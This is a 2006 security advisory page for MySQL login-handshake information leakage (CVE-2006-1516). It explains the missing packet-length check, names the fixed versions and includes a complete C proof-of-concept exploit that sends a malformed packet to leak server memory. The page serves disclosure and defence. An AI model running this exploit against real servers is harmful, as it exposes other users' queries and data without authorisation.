Register | Forget Password | Login
Search :
SecurityReason

News

Search

SecurityAlert

About SecurityAlert

ExploitAlert

SecurityReason Research

WLB

WLB Database

Send to WLB

About WLB

RSS

News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Corporate

Contact

About us

Services

SecurePHP

Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Details : SecurityAlert

  Topic : MySQL Anonymous Login Handshake - Information Leakage.
  SecurityAlert : 840
  CVE : CVE-2006-1516
  SecurityRisk : Low  alert  (About)
  Remote Exploit : Yes
  Local Exploit : Yes
  Exploit Given : Yes
  Credit : Stefano Di Paola (stefano dipaola wisec it)
  Published : 07.05.2006

  Affected Software : MySQL Server (<= 4.1.18, 5.0.20 )



  Advisory Text :  

~.oOOo. Anonymous Login Handshake .oOOo.~
=========================================

MySQL Server (<= 4.1.18, 5.0.20 ) has an information
leakage in the way mysql parses login packets on anonymous
users (blank password).

Author: Stefano Di Paola
Vulnerable: Mysql <= 4.1.18, 5.0.20
Type of Vulnerability: Local/Remote - input validation - Information
Leakage
Tested On : Debian 3.1 - IA32.
Vendor Status: Notified on April, 25th 2006, Confirmed on April, 26th
2006, New versions released on 2nd May 2006.
Fixed: Update to 4.0.27, 4.1.19, 5.0.21, 5.1.10 versions.

A Proof of Concept is Attached for this issue.
Tested on: Debian 3.1 - IA32.

A little Note:
To take advantage of these flaws an attacker should have direct access
to MySQL server communication layer (port 3306 or unix socket).
But if used in conjuction with some web application flaws
(i.e. php code injection) an attacker could use socket programming
(i.e. php sockets) to gain access to that layer.

-- Description

By crafting a specifically malformed login packet, initial db name is
filled with uninitialized memory content.

Let's suppose MySql Server has anonymous access.

Infact, if we want to use 'wisecdb' database as user 'wisec' and
password 's' a normal client would send a packet like this:
---------------------------------------------------------------
43 00 00 01 0d a6 03 00 00 00 00 01 08 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 77 69 73 65 63 00 14 aa 69 23 07 2a
ff 99 61 a3 c4 5f 04 66 3b 32 ef a1 f2 b6 59 77
69 73 65 63 64 62 00
C . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . w i s e c . . . i # . *
. . a . . _ . f ; 2 . . . . Y w
i s e c d b .
---------------------------------------------------------------

but if we look at the code (MySQL <= 5.0.20)
on sql_parse.cc line ~ 993
function check_connection(THD *thd):
--
char *user= end;
char *passwd= strend(user)+1;
char *db= passwd;
char db_buff[NAME_LEN+1]; // buffer to store db in
utf8
char user_buff[USERNAME_LENGTH+1]; // buffer to store user
in utf8
uint dummy_errors;

uint passwd_len= thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
*passwd++ : strlen(passwd);
db= thd->client_capabilities & CLIENT_CONNECT_WITH_DB ?
db + passwd_len + 1 : 0;
[1]
/* Since 4.1 all database names are stored in utf8 */
if (db)
{
db_buff[copy_and_convert(db_buff, sizeof(db_buff)-1,
system_charset_info,
db, strlen(db),
thd->charset(), &dummy_errors)]= 0;
db= db_buff;
}

--

It can be noticed a check for packet construction is missing here[1].

Just replace the null byte at the end of username
'wisec' with any other byte like this 'wisec0'.
What happens?

user is assigned to some part of the packet content, and db is assigned
with some (internal) memory beyond packet_length.

so if we send a specifical packet we'll get an error message like this:

Access denied for user ''@localhost to database 'lqt'

By changing packet lenght (db length) and with a little bit of luck a
malicious user could get sensitive informations such as parts of queries
and or response executed by some previously logged user.

-

The fix:

bugs are fixed in 4.0.27, 4.1.19, 5.0.21, 5.1.10.
You can download them on http://dev.mysql.com/downloads/

=================================================

==Anonymous packet information leakage poc :

my_anon_db_leak.c

Compile with:
gcc my_anon_db_leak.c -o my_anon_db_leak

usage:
my_anon_db_leak [-s path/to/socket] [-h hostname_or_ip]
[-p port_num] [-n db_len]

Example
$ my_anon_db_leak -s /tmp/mysql.sock -n 20

Regards,

Stefano

--

......---oOOo--------oOOo---......
Stefano Di Paola
Software Engineer
Email: stefano.dipaola_at_wisec.it
Email: stefano.dipaola1_at_tin.it
Web: www.wisec.it
..................................
/* ****************************************************************

April 21.st 2006

my_anon_db_leak.c

MySql Anonimous Login Memory Leak

MySql <= 5.0.20

MySql <= 4.1.x

copyright 2006 Stefano Di Paola (stefano.dipaola_at_wisec.it)

GPL 2.0
****************************************************************

Disclaimer:

In no event shall the author be liable for any damages
whatsoever arising out of or in connection with the use
or spread of this information.
Any use of this information is at the user's own risk.

****************************************************************
Compile with:
gcc my_anon_db_leak.c -o my_anon_db_leak

usage:
my_anon_db_leak [-s path/to/socket] [-h hostname_or_ip] [-p port_num] [-n
db_len]


*/

#include <sys/types.h>
/* we need MSG_WAITALL - that's why this ugly #ifdef, why doesn't glibc2
have MSG_WAITALL in its <socketbits.h> ??
*/

#ifdef __linux__
#include <linux/socket.h>
#else
#include <sys/socket.h>
#endif
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/file.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h> /* sockaddr_in{} and other Internet defns */
#include <netdb.h> /* needed by gethostbyname */
#include <arpa/inet.h> /* needed by inet_ntoa */

char anon_pckt[] = {
0x3d, 0x00, 0x00, 0x01, 0x0d, 0xa6, 0x03, 0x00, 0x00, 0x00, 0x00, 0x01,
0x08, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x14, 0x99,
0xdb, 0x54, 0xb6, 0x6a,
0xd7, 0xc2, 0x86, 0x4c, 0x50, 0xa8, 0x14, 0xfe, 0x2e, 0x98, 0x27, 0x72,
0x0d, 0xad, 0x45, 0x73,
0x00
}; // len=16*4+1=65;

int anon_pckt_len = 65;

#define USOCK "/tmp/mysql2.sock"

int
tcp_conn (char *hostname, int port)
{

int sockfd;
int n;
struct sockaddr_in servaddr;

struct hostent *hp;

if ((hp = gethostbyname (hostname)) == 0)
{
perror ("gethostbyname");
exit (0);
}

if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
perror ("socket");
exit (1);
}

bzero ((char *) &servaddr, sizeof (servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons (port);

memcpy (&servaddr.sin_addr, hp->h_addr, hp->h_length);
if (servaddr.sin_addr.s_addr <= 0)
{
perror ("bad address after gethostbyname");
exit (1);
}
if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) <
0)
{
perror ("connect");
exit (1);
}
return sockfd;
}

int
unix_conn (char *path)
{
int fd, len;
struct sockaddr_un sa;

fd = socket (PF_UNIX, SOCK_STREAM, 0);

if (fd < 0)
{
perror ("cli: socket(PF_UNIX,SOCK_STREAM)");
exit (1);
}

sa.sun_family = AF_UNIX;
strcpy (sa.sun_path, path);
len = sizeof (sa);
if (connect (fd, (struct sockaddr *) &sa, len) < 0)
{
perror ("cli: connect()");
exit (1);
}
return fd;
}

int
main (int argc, char *argv[])
{
int fd;
int i, ret;
char packet[65535];
char *path;
char *host;
int port = 3306;
char buf[65535];
int db_len = 0;
int pckt_len = anon_pckt_len;
int unix_sock = 1;
char c;

path = strdup (USOCK);
host = strdup ("127.0.0.1");

opterr = 0;

while ((c = getopt (argc, argv, "s:h:p:n:")) != -1)
switch (c)
{
case 's':
path = strdup (optarg);
unix_sock = 1;
break;
case 'h':
host = strdup (optarg);
unix_sock = 0;
break;
case 'p':
port = atoi (optarg);
unix_sock = 0;
break;
case 'n':
db_len = atoi (optarg);
break;

default:
break;
}

bzero (packet, 65535);

pckt_len = anon_pckt_len + db_len;
printf ("%dn", pckt_len);

for (i = 0; i < pckt_len; i++)
packet[i] = anon_pckt[i];

if (db_len)
for (i = anon_pckt_len - 2; i < pckt_len; i++)
packet[i] = 'A';

packet[pckt_len - 1] = '';

packet[0] = (char) (anon_pckt[0] + db_len) & 0xff;
packet[1] = (char) ((anon_pckt[0] + db_len) >> 8) & 0xff;
for (i = 0; i < pckt_len; i++)
printf (" %.2x%c", (unsigned char) packet[i],
((i + 1) % 16 ? ' ' : 'n'));
printf ("n");

if (unix_sock)
fd = unix_conn (path);
else
fd = tcp_conn (host, port);

sleep (1);
ret = recv (fd, buf, 65535, 0);
if (send (fd, packet, pckt_len, 0) != pckt_len)
{
perror ("cli: send(anon_pckt)");
exit (1);
}

ret = recv (fd, buf, 65535, 0);
for (i = 0; i < ret; i++)
printf ("%c", (isalpha (buf[i]) ? buf[i] : '.'));
printf ("n");
return 0;
}




  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

*BSD libc (strfmon) Multiple vulnerabilities

high- 2008-03-25

Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems.

Apache rss

» Apache Tomcat information
   disclosure

» Apache Tomcat <=
   6.0.18 UTF8 Directory
   Traversal Vulnerability

» Apache Tomcat information
   disclosure vulnerability

» Apache Tomcat XSS
   vulnerability

PHP rss

» PHP 5.2.6 (error_log)
   safe_mode bypass

» PHP 5.2.6 chdir(),ftok()
   (standard ext) safe_mode
   bypass

» PHP 5.2.6 posix_access()
   (posix ext) safe_mode
   bypass

» PHP 5.2.5 and prior :
   *printf() functions
   Integer Overflow

Copyright © SecurityReason. All Rights Reserved.